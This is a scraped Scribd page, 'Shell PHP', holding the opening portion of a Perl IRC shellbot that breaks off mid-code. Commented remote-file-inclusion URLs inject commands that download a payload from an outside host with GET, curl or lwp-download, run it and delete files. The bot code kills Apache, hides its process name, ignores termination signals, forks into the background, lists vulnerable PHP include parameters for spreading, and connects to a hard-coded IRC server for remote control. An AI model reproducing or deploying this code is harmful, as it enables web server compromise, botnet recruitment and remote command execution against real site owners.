Scribd
Upload
2K views

Shell PHP

The document contains code for a Perl-based malware. It includes comments indicating it was based on a Brazilian shellbot and spread by someone from Morocco. The code kills the Apache process, chooses a random URL parameter to use for commands (like "index.php?page="), and includes lists of administrator names, hostnames, IRC channels and a nick/ircname to use. It connects to an IRC server to spread further.

Uploaded by

alcatraz36
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
2K views

Shell PHP

The document contains code for a Perl-based malware. It includes comments indicating it was based on a Brazilian shellbot and spread by someone from Morocco. The code kills the Apache process, chooses a random URL parameter to use for commands (like "index.php?page="), and includes lists of administrator names, hostnames, IRC channels and a nick/ircname to use. It connects to an IRC server to spread further.

Uploaded by

alcatraz36
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 3

#http://xxx/index.php/page/index.php?page=http://www.kvpt.

org/0to5/family_forums/c
md/tool25.dat?&cmd=cd%20/tmp/;GET%20http://shikoe.net/ok.txt%20%3E%20ok.txt;perl%2
0ok.txt;rm%20-rf%20mambo*

#http://xxx/index.php/page/index.php?page=http://www.kvpt.org/0to5/family_forums/c
md/tool25.dat?&cmd=cd%20/tmp/;curl%20-
O%20http://shikoe.net/ok.txt;perl%20ok.txt;rm%20-rf%20ok*

#http://xxx/index.php/page/index.php?page=http://www.kvpt.org/0to5/family_forums/c
md/tool25.dat?&cmd=cd%20/tmp/;lwp-
download%20http://shikoe.net/ok.txt;perl%20ok.txt;rm%20-rf%20ok*

#http://www.kvpt.org/0to5/family_forums/cmd/tool25.dat?&cmd=cd%20/tmp/ << deface


tool

#83.160.208.31 << IP logged

#and the code..

#!/usr/bin/perl
# This code is based on atrix (brazil) shellbot, somebody ripped all the credits,
but its obviusly a rip.
# so the original author is atrix. the spread perl code was developed by sirhot (i
am almost sure) he is from morocco.
# Note to David Jacoby: Expect a few improvements for the next release.
#
# The following comments are only left in the code to ridiculize this guy.
# --------------------------------------------------------------
# Morgan has hacked you!
# Morgan Argentina, santiago del estero
# http://irc.irc-argentina.org/x.conf
# http://img521.imageshack.us/img521/3779/morganlammer6tu.png
#
# oper morgan {
# class clients;
# from {
# userhost *@*;
# };
# password "soyuncapo"; // morgan si, eres-un-capo.
# oper morgan2 {
# class clients;
# from {
# userhost *@*;
# };
# password "thegod"; //morgan si, eres el-dios.
# -----------------------------------------------------------
exit();

system("kill -9 `ps ax |grep /usr/sbin/apache/log |grep -v grep|awk '{print


$1;}'`");

my $processo = '/usr/sbin/apache/log';

my @titi =
("index.php?page=","main.php?page=","index.php?p=","index.php?x=","main.php?p=","i
ndex.php?inc=","index.php?frame=","main.php?x=","index.php?path=","index.php?inclu
de=","main.php?path=","index.php?file=","main.php?x=",
"default.php?page=",
"index.php?open=",
"index.php?pagina=",
"index.php?pg=",
"index.php?pag=",
"index.php?content=",
"index.php?cont=",
"index.php?c=",
"index.php?x=",
"index.php?cat=",
"index.php?site=",
"index.php?con=",
"index.php?action=",
"index.php?do=",
"index2.php?x=",
"index2.php?content=",
"template.php?pagina=","index.php?load=");

my $goni = $titi[rand scalar @titi];

my $linas_max='4';
my $sleep='5';
my @adms=("Royston","roy", "beford", "mafia_boy","world", "Thefive", "anonymous");
my @hostauth=("NetworkAdministrator","fbi.gov","NetAdmin.Irc.Com.ve");
my @canais=("#ok");
my $nick='prove';
my $ircname ='prove';
chop (my $realname = 'id');
$servidor='66.103.153.55' unless $servidor;
my $porta='34345';
my $VERSAO = '0.5';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}

sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];

my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",


PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;

$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);

$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servi

You might also like